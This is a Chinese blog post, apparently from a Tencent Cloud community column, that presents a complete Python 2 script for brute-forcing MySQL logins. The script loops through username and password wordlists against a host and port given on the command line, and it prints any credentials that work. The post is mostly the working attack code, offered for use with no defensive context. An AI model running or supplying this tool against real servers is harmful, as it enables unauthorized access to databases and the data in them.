专栏首页python3Python mysql 爆破

Python mysql 爆破

缺点:

不支持网段

单线程

# -*- coding: utf_8 -*-
# Date: 2015/5/13
# author:sanr
import MySQLdb
import os
import sys
def README():
    print '+' + '-' * 50 + '+'
    print '\t           Python MySQL爆破'
    print '\t            author : sanr'
    print '\t           Time:2015-5-13'
    print '\t   mysql默认字典在程序目录mysql目录'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 5:
        print  os.path.basename(sys.argv[0]) + "   127.0.0.1   3306  user.txt  pass.txt"
        sys.exit()

def    mysql_brute(name,pwd):
   db = None
   try:
      db = MySQLdb.connect(host=sys.argv[1],user=name,passwd=pwd,db='mysql',port=int(sys.argv[2]))
      print '破解成功: %s %s'% (name,pwd)
   except:
      pass
   finally    :
      if db:
         db.close()
if __name__ == '__main__':
   README()
   userlist = [i.rstrip() for i in open('mysql/'+sys.argv[3])]
   passlist = [j.rstrip() for j in open('mysql/'+sys.argv[4])]
   for    name in userlist:
      for pwd in passlist:
         mysql_brute(name,pwd)

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • python 将unix文件转成dos文

    #!/usr/bin/python #-*-encoding:UTF-8-*- import sys if len(sys.argv) < 2: pri...

    py3study
  • python的常用模块

    os.name:获取当前系统平台,Windows下返回'nt',Linux下返回'posix'。 os.linesep:获取当前平台使用的行终止符。Windo...

    py3study
  • Python中的sys.argv[]用法

    #!/usr/bin/python # -*- coding:utf-8 -*- import sys

    py3study
  • python 将unix文件转成dos文

    #!/usr/bin/python #-*-encoding:UTF-8-*- import sys if len(sys.argv) < 2: pri...

    py3study
  • 最新的“DNA联网”在物体中储存数据记忆

    瑞典苏黎世联邦大学(ETH Zurichat)的研究人员推出了一种将基因编码的数字数据混合到普​​通制造材料中的方法。他们与一位以色列科学家合作实施了该项目。

    shellmik
  • python多线程之间的同步(一)

           线程之间经常需要协同工作,通过某种技术,让一个线程访问某些数据时,其它线程不能访问这些数据,直到该线程完成对数据的操作。这些技术包括临界区(Cri...

    py3study
  • 逻辑漏洞之并发测试【2】

    逆向小白
  • TBtools基因家族分析详细教程(1)

    一共分为4个部分 TBtools基因家族分析详细教程(1) TBtools基因家族分析详细教程(2)基因家族成员的基本分析 TBtools基因家族分析详细...

    Y大宽
  • Android开发实践

    网上大部分命名规范文章里,并不是以模块名开头的,可能是习惯不一样,也有可能我的做法是错误的。希望您能及时指正,谢谢! 把模块名称放在最前面,再配合Androi...

    续写经典
  • 在对象里定义了一个XMLHttpRequest请求了,怎么在请求的回调中引用对象的『this』『神兽必读』

    XMLHttpRequest inside an object: how to keep the reference to “this”

    用户3579639

扫码关注云+社区

领取腾讯云代金券